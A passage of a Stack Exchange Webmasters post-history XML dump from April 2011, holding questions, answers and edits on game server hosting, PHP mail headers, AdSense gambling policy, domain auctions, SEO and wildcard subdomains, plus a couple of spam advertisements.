resources on a VPS will be hrd to guage unless you try before you buy and may change as they add usrs to the node.  &#xD;&#xA;&#xD;&#xA;Cloud hosting can work out to be expensive and is not a fixed cost, if you go down this route then check your calculaions, also his is unlikely to be hosted in India.  &#xD;&#xA;&#xD;&#xA;If your game server applicaion has no authentication built in then you could just use a firewall to control access add and rmeoving ip's as needed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29444" PostHistoryTypeId="5" PostId="12859" RevisionGUID="d5adf144-ae74-44fd-8987-ec876e30c406" CreationDate="2011-04-24T14:10:53.090" UserId="1253" Comment="Formatted answer using quotations" Text="&gt; Q. What is my best option here. I have&#xD;&#xA;&gt; no idea what kind of interface I will&#xD;&#xA;&gt; get if I purchase a windows hosting. I&#xD;&#xA;&gt; have only worked on Linux hostings,&#xD;&#xA;&gt; interacted using cpanel etc.&#xD;&#xA;&#xD;&#xA;A. You will need a dedicated server or VPS. most will come with a control panel but you may be able to get a &quot;vanila2 install. you will administer the server by remote desktop.&#xD;&#xA;&#xD;&#xA;&gt; Q. Is it possible to just purchase a&#xD;&#xA;&gt; windows hosting and then install games&#xD;&#xA;&gt; myself, do any authentication I want?&#xD;&#xA;&#xD;&#xA;A. Yes. with remote desktop you can install anything you want. As you will be administering the sever the support from your hosting company will likely only extend to doing a reinstall.  &#xD;&#xA;&#xD;&#xA;&gt; Q. Additionally, I am also looking&#xD;&#xA;&gt; some web space to host my personal&#xD;&#xA;&gt; projects...&#xD;&#xA;&#xD;&#xA;A. If you take a server with a control panel you will be able to use it just as if it were traditional hosting. just make sure anything you do via RDP does not conflict with control panel operations.  &#xD;&#xA;&#xD;&#xA;Presumably your reason for wanting to host in India is for lower latency to the server, make sure you test this. get a sample ip from the host and ping (or better trceroute/LFT) from as many locations as possible. It seems there are a couple of intertnet exchanges in India but you will want to make sure traffic is not going to the US and back for example.  &#xD;&#xA;&#xD;&#xA;I would definatly contact a company that runs games servers and ask them about the realistic hosting requirements for COD, although my guess is a $60/month VPS should do it. I searched and found several VPS providers in India, get a rolling monthly contract so you can mov quikly if needed.CPU resources on a VPS will be hrd to guage unless you try before you buy and may change as they add usrs to the node.  &#xD;&#xA;&#xD;&#xA;Cloud hosting can work out to be expensive and is not a fixed cost, if you go down this route then check your calculaions, also his is unlikely to be hosted in India.  &#xD;&#xA;&#xD;&#xA;If your game server applicaion has no authentication built in then you could just use a firewall to control access add and rmeoving ip's as needed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29445" PostHistoryTypeId="25" PostId="12853" RevisionGUID="7055a829-2679-477d-ad68-3d11557ab17e" CreationDate="2011-04-24T15:09:17.737" Comment="http://twitter.com/#!/StackWebmasters/status/62171258728628225" />
  <row Id="29446" PostHistoryTypeId="2" PostId="12860" RevisionGUID="b9ce09a4-e998-4410-b193-ee5aeea4643a" CreationDate="2011-04-24T15:44:21.857" UserDisplayName="INeedCodes" Text="Can anyone give me your review on Google domain registration in terms on pricing, stability, security, restrictions, control, ease of use etc. I need your professional opinions. Thanks." />
  <row Id="29447" PostHistoryTypeId="1" PostId="12860" RevisionGUID="b9ce09a4-e998-4410-b193-ee5aeea4643a" CreationDate="2011-04-24T15:44:21.857" UserDisplayName="INeedCodes" Text="Registering domain from Google， is it worth it?" />
  <row Id="29448" PostHistoryTypeId="3" PostId="12860" RevisionGUID="b9ce09a4-e998-4410-b193-ee5aeea4643a" CreationDate="2011-04-24T15:44:21.857" UserDisplayName="INeedCodes" Text="&lt;web-development&gt;&lt;web-services&gt;&lt;web-applications&gt;&lt;google&gt;&lt;domains&gt;" />
  <row Id="29449" PostHistoryTypeId="17" PostId="12860" RevisionGUID="453606cc-e46f-4af9-b4f2-8922df4245a2" CreationDate="2011-04-24T15:57:58.610" UserId="-1" Comment="from http://stackoverflow.com/questions/5771489/registering-domain-from-google-is-it-worth-it" Text="" />
  <row Id="29450" PostHistoryTypeId="2" PostId="12861" RevisionGUID="cb43ecf9-6c3e-45ea-86ea-cfcacba62e55" CreationDate="2011-04-24T16:36:11.293" UserId="6745" Text="If you're planning on using WordPress to host your new blog (which I would recommend if transitioning from Blogspot), it has a fantastic import feature to grab all of your old posts from Blogspot, and will maintain the permalinks as well.&#xD;&#xA;&#xD;&#xA;Tools &amp;rarr; Import &amp;rarr; Blogger&#xD;&#xA;&#xD;&#xA;I tried doing the same thing with Joomla but it was far more cumbersome and error-prone (and required 3rd party extensions that didn't really work very well)." />
  <row Id="29451" PostHistoryTypeId="2" PostId="12862" RevisionGUID="11fed651-dfde-469b-a3e4-4fff89d56fbc" CreationDate="2011-04-24T17:00:42.900" UserId="6901" Text="I'm thinking about adding some amazon associates affiliate links to one of my sites, and I'm wondering if anyone who has any experience with them can tell me how well they perform on their site. Also, amazon associates offers several advertising widgets: can anyone tell me which one performs the best (brings in the most revenue)?&#xD;&#xA;&#xD;&#xA;Thank you very much :)" />
  <row Id="29452" PostHistoryTypeId="1" PostId="12862" RevisionGUID="11fed651-dfde-469b-a3e4-4fff89d56fbc" CreationDate="2011-04-24T17:00:42.900" UserId="6901" Text="amazon associates: how well does it perform" />
  <row Id="29453" PostHistoryTypeId="3" PostId="12862" RevisionGUID="11fed651-dfde-469b-a3e4-4fff89d56fbc" CreationDate="2011-04-24T17:00:42.900" UserId="6901" Text="&lt;advertising&gt;&lt;amazon&gt;" />
  <row Id="29455" PostHistoryTypeId="10" PostId="12860" RevisionGUID="3df1b147-6953-4703-a1a5-3f31adcb07ac" CreationDate="2011-04-24T17:28:15.383" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29456" PostHistoryTypeId="16" PostId="12862" RevisionGUID="d2d72f7d-5bf0-49e5-a7dc-d342ae9b30be" CreationDate="2011-04-24T17:30:03.713" UserId="1253" />
  <row Id="29457" PostHistoryTypeId="2" PostId="12864" RevisionGUID="d54669ba-91cd-479f-a0ac-7e6bcfc6aea4" CreationDate="2011-04-24T17:44:30.243" UserId="6901" Text="Try [Coppermine Photo Gallery][1]: it seems to have all the features you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://coppermine-gallery.net/" />
  <row Id="29458" PostHistoryTypeId="25" PostId="12862" RevisionGUID="c394f4e1-fb47-4169-ac0f-d88884a89bc0" CreationDate="2011-04-24T18:09:17.683" Comment="http://twitter.com/#!/StackWebmasters/status/62216557564137472" />
  <row Id="29459" PostHistoryTypeId="2" PostId="12865" RevisionGUID="e80756af-39df-4f20-8843-0db0647f3e55" CreationDate="2011-04-24T18:52:42.190" UserId="6236" Text="They have some of the least generous cookie and commission rates out there, but I've done ok with Amazon.  I don't really promote it any more, but I still get a steady trickle of purchases, and it's very common for people to buy other things in the same sale.&#xD;&#xA;&#xD;&#xA;Personally I found most of their pre-made widgets and searches didn't perform - I got a little traffic through them, but not enough to justify their space on the page - what *did* work for me was a direct, specific link to a book I that was related to the context of the particular page it was on.  So their oldest affiliate link type basically." />
  <row Id="29460" PostHistoryTypeId="2" PostId="12866" RevisionGUID="c3ede0c1-b103-4424-b6f5-800c1bb655a4" CreationDate="2011-04-24T19:13:05.660" UserId="6631" Text="I'm trying to work with sending mail through PHP for the first time and I've done pretty well with the exception of one thing. All mail i send is from an email address that ends in &quot;justhost.com&quot; (justhost is hosting my site). I was wondering is anyone could help me change this to a different email address.&#xD;&#xA;&#xD;&#xA;Thanks in advanced. &#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;here is the php I'm using to send things from:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; $to = &quot;example@email.com&quot;;  	&#xD;&#xA;&gt; $subject = &quot;Mail Test at &quot;.strftime(&quot;%T&quot;, time()); 	 	&#xD;&#xA;&gt; $message = &quot;This is a test.&quot;; &#xD;&#xA;&gt; $from = &quot;Mike &lt;mike@mysitename.com&gt;&quot;;&#xD;&#xA;&gt; $headers = &quot;From: {$from}\r\n&quot;;&#xD;&#xA;&gt; $result = mail($to, $subject, $message, $header); &#xD;&#xA;&gt; echo $result ? 'Sent' : 'Error';&#xD;&#xA;&#xD;&#xA;(sorry about the spacing i'm not sure how to fix it)" />
  <row Id="29461" PostHistoryTypeId="1" PostId="12866" RevisionGUID="c3ede0c1-b103-4424-b6f5-800c1bb655a4" CreationDate="2011-04-24T19:13:05.660" UserId="6631" Text="How do I change the default email that my host sends from php mail from in Justhost's C-panel" />
  <row Id="29462" PostHistoryTypeId="3" PostId="12866" RevisionGUID="c3ede0c1-b103-4424-b6f5-800c1bb655a4" CreationDate="2011-04-24T19:13:05.660" UserId="6631" Text="&lt;php&gt;&lt;server&gt;&lt;email&gt;" />
  <row Id="29463" PostHistoryTypeId="5" PostId="12866" RevisionGUID="1e1d66b7-4c9e-4ed1-a0d5-0a98f0b9a3e9" CreationDate="2011-04-24T19:35:38.207" UserId="1253" Comment="added 14 characters in body" Text="I'm trying to work with sending mail through PHP for the first time and I've done pretty well with the exception of one thing. All mail i send is from an email address that ends in &quot;justhost.com&quot; (justhost is hosting my site). I was wondering is anyone could help me change this to a different email address.&#xD;&#xA;&#xD;&#xA;Thanks in advanced. &#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;here is the php I'm using to send things from:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $to = &quot;example@email.com&quot;;  	&#xD;&#xA;    $subject = &quot;Mail Test at &quot;.strftime(&quot;%T&quot;, time()); 	 	&#xD;&#xA;    $message = &quot;This is a test.&quot;; &#xD;&#xA;    $from = &quot;Mike &lt;mike@mysitename.com&gt;&quot;;&#xD;&#xA;    $headers = &quot;From: {$from}\r\n&quot;;&#xD;&#xA;    $result = mail($to, $subject, $message, $header); &#xD;&#xA;    echo $result ? 'Sent' : 'Error';&#xD;&#xA;&#xD;&#xA;(sorry about the spacing i'm not sure how to fix it)" />
  <row Id="29464" PostHistoryTypeId="2" PostId="12867" RevisionGUID="7238bc70-368e-4f00-a56b-0ec8d622fd53" CreationDate="2011-04-24T19:37:01.857" UserId="1253" Text="You're missing the &quot;s&quot; in $header in the mail() function:&#xD;&#xA;&#xD;&#xA;    $result = mail($to, $subject, $message, $header); &#xD;&#xA;&#xD;&#xA;should be&#xD;&#xA;&#xD;&#xA;    $result = mail($to, $subject, $message, $headers); &#xD;&#xA;&#xD;&#xA;Without a proper From header set you'll get the default from address for the server. Correcting this syntax error will solve that problem.&#xD;&#xA;&#xD;&#xA;FYI, always develop with error reporting set to show all errors including notices. If you had done this you would spotted this error quickly.&#xD;&#xA;&#xD;&#xA;    error_reporting(E_ALL);" />
  <row Id="29467" PostHistoryTypeId="25" PostId="12866" RevisionGUID="91e0f877-5882-4a94-9734-acdf04211990" CreationDate="2011-04-24T21:09:17.847" Comment="http://twitter.com/#!/StackWebmasters/status/62261855795691520" />
  <row Id="29468" PostHistoryTypeId="2" PostId="12869" RevisionGUID="8b5f9bdd-35c1-43ff-8262-2330dca24116" CreationDate="2011-04-24T23:35:19.923" UserId="1583" Text="I've run a website since 2001 with betting sites adverts for most of that time and Google Adsense for many years as well.  Five or six years ago I was generating £100-£200 per month from Google, but this has fallen by over 90% subsequently - people don't click them, basically!  So the following isn't a disaster.&#xD;&#xA;&#xD;&#xA;Anyway, on 18 April I got an email giving me 72 hours to remove all betting adverts and betting related content or Google Adsense would be disabled from the site:&#xD;&#xA;&#xD;&#xA;&gt; VIOLATION(S) FOUND:&#xD;&#xA;&gt; &#xD;&#xA;&gt; GAMBLING: As stated in our program&#xD;&#xA;&gt; policies, AdSense publishers are not&#xD;&#xA;&gt; permitted to place Google ads on sites&#xD;&#xA;&gt; with content related to gambling or&#xD;&#xA;&gt; casinos. This policy includes driving&#xD;&#xA;&gt; traffic to online gambling sites&#xD;&#xA;&gt; through links or advertisements. More&#xD;&#xA;&gt; information about this policy can be&#xD;&#xA;&gt; found in our help center&#xD;&#xA;&#xD;&#xA;Their 'review' of websites seems to be a direct result of the FBI action on 15 April, so advertising and content that I've had (and submitted to Google Search) is no longer acceptable after several years with no complaints.&#xD;&#xA;&#xD;&#xA;Am I being paranoid, or does anyone else think this kind of action was initiated as a knee-jerk reaction to the poker site action in America?  Has anyone else seen this?" />
  <row Id="29469" PostHistoryTypeId="1" PostId="12869" RevisionGUID="8b5f9bdd-35c1-43ff-8262-2330dca24116" CreationDate="2011-04-24T23:35:19.923" UserId="1583" Text="Has Google Adsense been spooked by the FBI Poker actions?" />
  <row Id="29470" PostHistoryTypeId="3" PostId="12869" RevisionGUID="8b5f9bdd-35c1-43ff-8262-2330dca24116" CreationDate="2011-04-24T23:35:19.923" UserId="1583" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="29471" PostHistoryTypeId="25" PostId="12869" RevisionGUID="1859c99d-4b2c-46c2-842e-55232fe6268b" CreationDate="2011-04-25T00:09:17.653" Comment="http://twitter.com/#!/StackWebmasters/status/62307153930764288" />
  <row Id="29472" PostHistoryTypeId="10" PostId="12869" RevisionGUID="4665c04c-8850-48dd-952b-9cb6e1b3c0c8" CreationDate="2011-04-25T01:17:18.630" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29473" PostHistoryTypeId="5" PostId="8543" RevisionGUID="5a340871-0265-4086-8dfa-31fb52408ebc" CreationDate="2011-04-25T02:33:46.320" UserId="5059" Comment="added 1 characters in body" Text="If the domain doesn't get many hits, the person may just give it up to avoid lost revenue. I got my site back after a year from someone who stole it when I did an improper register transfer; granted, it was a low-priority personal site.&#xD;&#xA;&#xD;&#xA;You might have better luck just thinking of a different URL. So long as it's short, catchy, and a Google search result, it might work. Hyphens work in hostnames, if that helps." />
  <row Id="29474" PostHistoryTypeId="25" PostId="12447" RevisionGUID="942506b4-5e8e-471d-80cb-eddb312796c9" CreationDate="2011-04-25T03:09:17.490" Comment="http://twitter.com/#!/StackWebmasters/status/62352452191653888" />
  <row Id="29475" PostHistoryTypeId="25" PostId="12691" RevisionGUID="8c88624a-ed87-4c1f-b9e3-133f949c62c4" CreationDate="2011-04-25T06:09:17.640" Comment="http://twitter.com/#!/StackWebmasters/status/62397750419001344" />
  <row Id="29476" PostHistoryTypeId="2" PostId="12870" RevisionGUID="3d7d3a52-933b-4079-a37b-09ee3edd3711" CreationDate="2011-04-25T06:56:27.413" UserId="7071" Text="I'm interested in a godaddy domain name that's on auction.&#xD;&#xA;&#xD;&#xA;The domain name has no bids on it. Should I wait for the auction to end and then buy it afterwards or should I bid in the auction?&#xD;&#xA;&#xD;&#xA;Basically the question is, will the domain still be available to buy after the auction ends?" />
  <row Id="29477" PostHistoryTypeId="1" PostId="12870" RevisionGUID="3d7d3a52-933b-4079-a37b-09ee3edd3711" CreationDate="2011-04-25T06:56:27.413" UserId="7071" Text="godaddy domains, no bids, should I wait for expire?" />
  <row Id="29478" PostHistoryTypeId="3" PostId="12870" RevisionGUID="3d7d3a52-933b-4079-a37b-09ee3edd3711" CreationDate="2011-04-25T06:56:27.413" UserId="7071" Text="&lt;domains&gt;&lt;godaddy&gt;" />
  <row Id="29479" PostHistoryTypeId="5" PostId="12866" RevisionGUID="1f2df994-d8f1-456e-b637-88a585f2a916" CreationDate="2011-04-25T07:19:48.450" UserId="4786" Comment="removed greeting and signature per FAQ, fixed spacing and 'i'm&quot; to &quot;I'm&quot;" Text="I'm trying to work with sending mail through PHP for the first time and I've done pretty well with the exception of one thing. All mail i send is from an email address that ends in &quot;justhost.com&quot; (justhost is hosting my site). I was wondering is anyone could help me change this to a different email address.&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;Here is the php I'm using to send things from:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $to = &quot;example@email.com&quot;;  	&#xD;&#xA;    $subject = &quot;Mail Test at &quot;.strftime(&quot;%T&quot;, time()); 	 	&#xD;&#xA;    $message = &quot;This is a test.&quot;; &#xD;&#xA;    $from = &quot;Mike &lt;mike@mysitename.com&gt;&quot;;&#xD;&#xA;    $headers = &quot;From: {$from}\r\n&quot;;&#xD;&#xA;    $result = mail($to, $subject, $message, $header); &#xD;&#xA;    echo $result ? 'Sent' : 'Error';&#xD;&#xA;&#xD;&#xA;(sorry about the spacing I'm not sure how to fix it)" />
  <row Id="29480" PostHistoryTypeId="24" PostId="12866" RevisionGUID="1f2df994-d8f1-456e-b637-88a585f2a916" CreationDate="2011-04-25T07:19:48.450" Comment="Proposed by 4786 approved by 1064 edit id of 226" />
  <row Id="29481" PostHistoryTypeId="2" PostId="12871" RevisionGUID="bd446667-9617-4fb2-af7a-5b4429d094ba" CreationDate="2011-04-25T07:36:13.180" UserId="6612" Text="Looking to start with a basic.css and have JavaScript load enhanced.css when JavaScript is ebabled. What major negatives will this have for Search Engines indexing and ranking my site?" />
  <row Id="29482" PostHistoryTypeId="1" PostId="12871" RevisionGUID="bd446667-9617-4fb2-af7a-5b4429d094ba" CreationDate="2011-04-25T07:36:13.180" UserId="6612" Text="Major SEO Pitfalls of JavaScript loaded CSS?" />
  <row Id="29483" PostHistoryTypeId="3" PostId="12871" RevisionGUID="bd446667-9617-4fb2-af7a-5b4429d094ba" CreationDate="2011-04-25T07:36:13.180" UserId="6612" Text="&lt;seo&gt;&lt;css&gt;&lt;javascript&gt;" />
  <row Id="29484" PostHistoryTypeId="2" PostId="12872" RevisionGUID="2215ff25-58fb-4b6f-a0ee-5c28cea84038" CreationDate="2011-04-25T07:54:01.823" UserId="7072" Text="The TXTimpact provides the great service of Sms Gateway, Reduce time to market and launch your mobile marketing campaign with our shared short code. You can be get up and running with Shared short code number with-in few minutes not months. You can migrate your campaigns to dedicated short code anytime &lt;a href=&quot;http://www.txtimpact.com/smsgateway.asp&quot;&gt;sms gateway&lt;/a&gt;." />
  <row Id="29485" PostHistoryTypeId="2" PostId="12873" RevisionGUID="a4a5d0cf-1b9d-429d-acde-2fcd926e7b35" CreationDate="2011-04-25T07:59:42.880" UserId="3461" Text="For Firefox, you also have [Webdeveloper][1] extension.&#xD;&#xA;Now I read in a comment from you that you need to fix in IE6. You can then check in this site, has support for all IEs, including 6: http://ipinfo.info/netrenderer/&#xD;&#xA;&#xD;&#xA;But also, there's another option that works just fine for me, for the cases you wish not to share or need different functionality, [IE Tester][2], is actually a freeware software you install. For testing and fixing IE 7 and above, I find better just install IE 9 and use its developing tools, set in them both the browser and mode of browser (for instance, IE 7 and IE 7 Standard mode) , which is *not* setting the page in compatibility mode (done outside IE developer tools) , as that one wont trigger IE7 issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-us/firefox/addon/web-developer/&#xD;&#xA;  [2]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="29486" PostHistoryTypeId="5" PostId="12873" RevisionGUID="1a953323-6f51-451c-9541-6b100a4845e2" CreationDate="2011-04-25T08:13:56.330" UserId="3461" Comment="added 101 characters in body" Text="For Firefox, you also have [Webdeveloper][1] extension.&#xD;&#xA;Now I read in a comment from you that you need to fix in IE6. You can then check in this site, has support for all IEs, including 6: http://ipinfo.info/netrenderer/ (Edit: Sorry, this is actually a viewing/checking system, see other options in the bellow paragraph)&#xD;&#xA;&#xD;&#xA;But also, there's another option that works just fine for me, for the cases you wish not to share or need different functionality, [IE Tester][2], is actually a freeware software you install. For testing and fixing IE 7 and above, I find better just install IE 9 and use its developing tools, set in them both the browser and mode of browser (for instance, IE 7 and IE 7 Standard mode) , which is *not* setting the page in compatibility mode (done outside IE developer tools) , as that one wont trigger IE7 issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-us/firefox/addon/web-developer/&#xD;&#xA;  [2]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="29487" PostHistoryTypeId="2" PostId="12874" RevisionGUID="ab753a20-4738-4eec-8e4b-19ad56831296" CreationDate="2011-04-25T08:23:43.680" UserId="7073" Text="There no more difference between both GeoTrust and RapidSSL because there are common purpose for secure your website data by SSL Certificate.&#xD;&#xA;&#xD;&#xA;But RapidSSL is for entry level website certificate and GeoTrust is for make a confidence to customer that their data is secure under ssl certificate.&#xD;&#xA;&#xD;&#xA;And Price difference are also there are if your but it from here For RapidSSL https://www.sslrenewals.com/rapidssl/rapidssl-certificates.aspx by applying coupon code **SSL@35R** @ **$7.00/yr** price&#xD;&#xA;&#xD;&#xA;For GeoTrust https://www.sslrenewals.com/geotrust/quickssl-premium.aspx by applying coupon code **SSL@99GQ** @ **$33.00/year** buy it for 3 years.&#xD;&#xA;&#xD;&#xA;When you buy it from official site it is very expensive but if you choose from reseller than you get same ssl certificate @ very low prices.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29488" PostHistoryTypeId="2" PostId="12875" RevisionGUID="80ff675c-0d8c-4f54-8d46-b8ca75f63faf" CreationDate="2011-04-25T08:52:47.390" UserId="4461" Text="err - none.&#xD;&#xA;&#xD;&#xA;Search Engines don't really care about your presentation - just your content (and links).&#xD;&#xA;&#xD;&#xA;The only time this could become a factor is if you are using either JS or CSS or a combination of both to deliberately hide content (in the spammy sense, not in the AJAX toggle sense).&#xD;&#xA;&#xD;&#xA;You could start to concern yourself with absolute positioning and *it's* impacts, but even at that level of granularity, you'd be worrying about nothing in the grand scheme of things.&#xD;&#xA;" />
  <row Id="29489" PostHistoryTypeId="5" PostId="12875" RevisionGUID="da39433b-9960-430d-9813-f3371ed05752" CreationDate="2011-04-25T08:58:48.350" UserId="4461" Comment="added 38 characters in body" Text="err - none.&#xD;&#xA;&#xD;&#xA;Search Engines don't really care about your presentation - just your content (and links).&#xD;&#xA;&#xD;&#xA;The only time this could become a factor is if you are using either JS or CSS or a combination of both to deliberately hide content (in the spammy sense, not in the AJAX toggle sense), or to try and hide a sneaky redirect.&#xD;&#xA;&#xD;&#xA;You could start to concern yourself with absolute positioning and *it's* impacts, but even at that level of granularity, you'd be worrying about nothing in the grand scheme of things.&#xD;&#xA;" />
  <row Id="29490" PostHistoryTypeId="25" PostId="12871" RevisionGUID="31ba01e2-a388-4afa-bc7e-0f8133def56c" CreationDate="2011-04-25T09:09:17.463" Comment="http://twitter.com/#!/StackWebmasters/status/62443048646361088" />
  <row Id="29491" PostHistoryTypeId="2" PostId="12876" RevisionGUID="0f43ddcd-5199-4ea0-93b9-6b8db9ae4ea4" CreationDate="2011-04-25T09:28:21.370" UserId="6612" Text="I'm wondering what screen dimensions Google Instant Preview takes a snapshot of your website at e.g 1024px x 768px...?&#xD;&#xA;&#xD;&#xA;http://sites.google.com/site/webmasterhelpforum/en/faq-instant-previews&#xD;&#xA;&#xD;&#xA;FYI: I'm building a &quot;responsive design&quot; layout. Wonder if others like Yahoo or Bing take screenshots? And what dimensions they too use...&#xD;&#xA;" />
  <row Id="29492" PostHistoryTypeId="1" PostId="12876" RevisionGUID="0f43ddcd-5199-4ea0-93b9-6b8db9ae4ea4" CreationDate="2011-04-25T09:28:21.370" UserId="6612" Text="Google Instant Preview (Image) - What screen dimension? e.g 1024x768?" />
  <row Id="29493" PostHistoryTypeId="3" PostId="12876" RevisionGUID="0f43ddcd-5199-4ea0-93b9-6b8db9ae4ea4" CreationDate="2011-04-25T09:28:21.370" UserId="6612" Text="&lt;google&gt;&lt;css&gt;&lt;yahoo&gt;&lt;bing&gt;" />
  <row Id="29494" PostHistoryTypeId="5" PostId="10526" RevisionGUID="0b980728-52ba-4252-8933-bb8b51a45a53" CreationDate="2011-04-25T11:05:50.993" UserId="6597" Comment="Added link, rephrased sentence" Text="From the [Verisign website](http://www.verisign.com/ssl/buy-ssl-certificates/compare-ssl-certificates/index.html), which calls the warranty &quot;Netsure&quot;:&#xD;&#xA;&#xD;&#xA;&gt; NetSure® protects *certificate holders* against certain losses resulting from breach by VeriSign of the warranties included in your VeriSign SSL Certificate.&#xD;&#xA;&#xD;&#xA;Who knows what that really means." />
  <row Id="29495" PostHistoryTypeId="24" PostId="10526" RevisionGUID="0b980728-52ba-4252-8933-bb8b51a45a53" CreationDate="2011-04-25T11:05:50.993" Comment="Proposed by 6597 approved by 1064 edit id of 227" />
  <row Id="29496" PostHistoryTypeId="17" PostId="12878" RevisionGUID="1b4f819d-2b8c-41d8-9f02-26cfb4f63014" CreationDate="2011-04-25T11:09:09.570" UserId="-1" Comment="from http://stackoverflow.com/questions/5776528/make-all-subdomains-load-the-same-page-how-is-it-called-done/5776533#5776533" Text="" />
  <row Id="29497" PostHistoryTypeId="17" PostId="12879" RevisionGUID="f36fdb16-497b-473e-87e3-ce019eb543f0" CreationDate="2011-04-25T11:09:09.570" UserId="-1" Comment="from http://stackoverflow.com/questions/5776528/make-all-subdomains-load-the-same-page-how-is-it-called-done/5776655#5776655" Text="" />
  <row Id="29498" PostHistoryTypeId="2" PostId="12878" RevisionGUID="4851f9c5-2b07-4a1a-a83b-7aa9d66e250c" CreationDate="2011-04-25T08:17:15.977" UserDisplayName="heximal" Text="there exists one simple way - mod_rewrite.&#xD;&#xA;use .htaccess file to implement this approach" />
  <row Id="29499" PostHistoryTypeId="2" PostId="12879" RevisionGUID="922bd542-53f8-428d-b19d-93d899e59f93" CreationDate="2011-04-25T08:34:47.637" UserDisplayName="joschi" Text="The final configuration depends on the web server you'll be using but in Apache httpd you'd simply create a wildcard virtual host:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;      ServerName example.com&#xD;&#xA;      ServerAlias *.example.com&#xD;&#xA;      # other configuration directives&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;Prerequisite is that there's a `*.example.com` A (or CNAME) resource record in your zone for `example.com`. Ask your name server administrator about it.&#xD;&#xA;&#xD;&#xA; In your PHP scripts you can then simply evaluate `$_SERVER['HTTP_HOST']` to get the first component of the hostname." />
  <row Id="29500" PostHistoryTypeId="2" PostId="12877" RevisionGUID="1d8e8c01-4ad9-4291-a947-b2230eb583ae" CreationDate="2011-04-25T08:15:54.123" UserDisplayName="Liso22" Text="Is there a way to make all subdomains show the same page.&#xD;&#xA;&#xD;&#xA;I got the idea somewhere you could have a page like idk information.com and if an user typed miami.information.com he would get information from that city.&#xD;&#xA;&#xD;&#xA;Is there a way to do it? &#xD;&#xA;&#xD;&#xA;Like making the site retrieve the first part of the subdomain and search it on the site." />
  <row Id="29501" PostHistoryTypeId="1" PostId="12877" RevisionGUID="1d8e8c01-4ad9-4291-a947-b2230eb583ae" CreationDate="2011-04-25T08:15:54.123" UserDisplayName="Liso22" Text="Make all subdomains load the same page, how is it called/done?" />
  <row Id="29502" PostHistoryTypeId="3" PostId="12877" RevisionGUID="1d8e8c01-4ad9-4291-a947-b2230eb583ae" CreationDate="2011-04-25T08:15:54.123" UserDisplayName="Liso22" Text="&lt;php&gt;&lt;html&gt;&lt;subdomain&gt;" />
  <row Id="29503" PostHistoryTypeId="17" PostId="12877" RevisionGUID="f3e67a56-48f7-4d3c-92c7-a8a874f9c80e" CreationDate="2011-04-25T11:09:09.570" UserId="-1" Comment="from http://stackoverflow.com/questions/5776528/make-all-subdomains-load-the-same-page-how-is-it-called-done" Text="" />
  <row Id="29504" PostHistoryTypeId="2" PostId="12880" RevisionGUID="f4fe7293-1390-497d-a239-6860a0e7a515" CreationDate="2011-04-25T11:18:50.087" UserId="7074" Text="i have started working on the new blog  in my BLOGGER account and i have added just 3 posts in it. But when i try searching in Google &amp; bing by its name and it never comes in the search result.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have already submitted my blog to Google and Bing. I waited for 2-3 days for Google bots to crawl my blog and show it is in the result but i can not see any change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[My BLOG'S Link][1]&#xD;&#xA;&#xD;&#xA;Even if i try searching in google entering &quot;**easyhideip.blogspot**.&quot;,i can not see any of my [blog][2] post.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As we know there is no direct provision in BLOGGER to add meta tags so i hav added the meta tags in the blogger like this..&#xD;&#xA;&#xD;&#xA;    &lt;meta content='....' name='keywords' /&gt;&#xD;&#xA;    &lt;meta content='....' name='Description' /&gt;&#xD;&#xA;&#xD;&#xA;I have posted few lines of my blog's template here..&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'&gt;&#xD;&#xA;      &lt;head&gt;&#xD;&#xA;    &lt;script src='http://platform.twitter.com/widgets.js' type='text/javascript'&gt;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;        &lt;b:include data='blog' name='all-head-content'/&gt;&#xD;&#xA;        &lt;b:if cond='data:blog.pageType == &amp;quot;index&amp;quot;'&gt;&#xD;&#xA;    &lt;title&gt;&lt;data:blog.pageTitle/&gt;&lt;/title&gt;&#xD;&#xA;    &lt;b:else/&gt;&#xD;&#xA;    &lt;title&gt;&lt;data:blog.pageName/&gt; ~ &lt;data:blog.title/&gt;&lt;/title&gt;&#xD;&#xA;    &lt;/b:if&gt;&#xD;&#xA;    &lt;link href='mailto:YOUR MAIL ID' rev='made'/&gt;&#xD;&#xA;    &lt;b:if cond='data:blog.url == 